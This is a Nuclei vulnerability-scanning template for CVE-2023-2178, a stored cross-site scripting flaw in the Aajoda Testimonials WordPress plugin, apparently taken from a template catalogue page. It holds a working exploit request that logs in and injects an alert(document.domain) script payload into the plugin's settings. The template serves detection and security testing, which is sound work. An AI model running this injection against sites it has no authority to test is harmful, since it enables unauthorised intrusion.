Aajoda Testimonials < 2.2.2 - Cross-Site Scripting

ID: CVE-2023-2178

Severity: medium

Author: Farish

Tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,authenticated,aajoda

Description

The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

YAML Source

id: CVE-2023-2178

info:
  name: Aajoda Testimonials < 2.2.2 - Cross-Site Scripting
  author: Farish
  severity: medium
  description: |
    The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update Aajoda Testimonials plugin to version 2.2.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e84b71f9-4208-4efb-90e8-1c778e7d2ebb
    - https://downloads.wordpress.org/plugin/aajoda-testimonials.2.1.0.zip
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2178
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-2178
    cwe-id: CWE-79
    epss-score: 0.00078
    epss-percentile: 0.33655
    cpe: cpe:2.3:a:aajoda:aajoda_testimonials:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: aajoda
    product: aajoda_testimonials
    framework: wordpress
  tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,authenticated,aajoda

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></textarea><script>alert(document.domain)</script>")'
          - 'contains(body_2, "page_aajoda-testimonials")'
        condition: and
# digest: 490a0046304402205223ea499184bb51fbb3dd15462c8fe0c6db59597bad174c581f0da86d86dc23022058d8c894c93c98a53af12bd81f813d1cc8deb4dc1dece33f9f5e90d7d1f3862f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2178.yaml"

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